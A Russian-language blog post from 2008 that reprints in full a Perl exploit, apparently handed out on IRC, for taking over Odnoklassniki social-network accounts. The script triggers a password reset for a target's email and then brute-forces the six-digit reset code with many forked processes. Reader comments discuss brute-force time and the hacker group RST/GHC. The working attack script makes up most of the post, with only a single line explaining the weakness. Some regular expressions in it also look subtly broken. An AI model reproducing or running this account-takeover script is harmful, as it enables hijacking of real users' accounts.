Эксплоит для одноклассников

Сегодня обнаружил, что RST/GHC вдруг возродилась. Признаться, для меня это было открытие. Только теперь объединенная команда состоит еще из одной тимы: UKT. Кто это такие мне пока неизвестно. А вот сплоит для одноклассников теперь известен всем =) Сегодня его раздавали на IRC-канале всем желающим. Собственно вот и сплоит:

#!/usr/bin/perl
use LWP::UserAgent; 

print qq(
   ,__                    __,
                        / /
          __      _    / /
         .___/:::* / /
          |_____  |/
         /<>//,./      /       _________
        /      /      /      |  RST
       /      /.,<>/      |   GHC
                 /'  \  /   |    UKT
        \      \  /     \     |__\xD____
         \      \/      /
       /  '''''      /
    / /             /
   / /         ___  /
   *__                    __*
               [preved odnoklassne4gi] 

); 

if (!scalar(@ARGV)) {
    print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n";
    exit();
}
if (-e "success") {
    print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n";
    exit();
} 

my $email="$ARGV[0]"; 

if ($ARGV[1]) {
    my $MAX_PROCESSES=$ARGV[1];
} else {
    my $MAX_PROCESSES=5;
}
my $DEBUG=0; 

my @pids;
my $npids=0;
my $restore=0;
my $e; 

# first step - omg! I lost my password?!?!?!
$ua=LWP::UserAgent->new();
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]);
$page_content=$page->content();
if ($page_content=~/st.email/) {
    print "\[-\] Please provide correct email address\n";
    exit();
} else {
    print "\[+\] Repair password code send to $email\n";
} 

# step number two - bruteforce code for repair password
print "\[~\] Brutforce code for repair password\
This process make take max ~ 18 hours to check all combinations\
You need good internet channel and fast cpu\n";
open(LOG_FILE,">>log");
$not=1;
for ($code=100000;$code<=999999;$code++) {
    if (-e "success") {
        print "DONE";
        exit();
    }
    if ($code==199999 && $not==1) {
        $cod="099999";
        $not=0;
        $code=100000;
    } elsif ($code=~/^1(d+)$/ && $not==1) {
        $code=~/^1(d+)$/;
        $cod="0$1";
    } else {
        $cod=$code;
    }
    if ($cod=~/^(d+)000$/) {
        print "#";
    } 

    my $pid;
    $pid=fork();
    if($pid>0){
     push(@pids,$pid);
     $npids++;
     if($npids>=$MAX_PROCESSES){
         for(1..($MAX_PROCESSES)){
          $wait_ret=wait();
          if($wait_ret>0){
                    $npids--;
                }
            }
        }
        next;
    }elsif(undef $pid){
        print "fork error\n" if ($DEBUG);
        exit(0);
    }
    $p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]);
    $con=$p->content();
    if ($con=~/password.confirmation/) {
        print "$cod cached\n";
        print LOG_FILE "$cod cached\n";
        open(SUCCESS,">>success");
        print SUCCESS "\n############################\n";
        print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n";
        print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
        print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
        print SUCCESS "############################\n";
        print "############################\n";
        print "Yahooo! Congratulations! Code for password repair is - $cod\n";
        print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
        print "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
        print "############################\n";
        close(SUCCESS);
    } else {
        print LOG_FILE "$cod failed\n";
    }
    exit();
}
close(LOG_FILE);

Как видим, уязвимость заключается в механизме восстановления паролей. Правда эксплуатация в худшем случае может занять 18 часов, так как код для восстановления необходимо брутить (6-значное число)

3 comments:

  1. san, 26. Май 2008, 19:06

    Ну в среднем то 9, так что не страшно. Другое дело, что на самом деле больше у тех, кто не имеет быстрого соединения. А вообще перебор как-то не очень интересно :( Ну слабый у них код, цифровой.

    Гораздо интереснее RST/GHC. Может, сайт поднимут на место.

     
  2. Raz0r, 27. Май 2008, 16:29

    >Гораздо интереснее RST/GHC
    в этом я с тобой полностью согласен. Правда это уже не та команда, которую мы знали в 2006 году. Вместо восстановления сайта, они создали блог на livejouranl.com и пишут о лайфхаке, сочиняют стихи, постят всякие «боянчики», в общем на прежнюю команду RST/GHC вообще не похоже =\

     
  3. san, 28. Май 2008, 19:54

    Хм, а это вообще они? Разве что rst.viod.ru на это указывает. Но все же может кто ушел, кто пришел и это уже вообще не та команда.

     

Write a comment: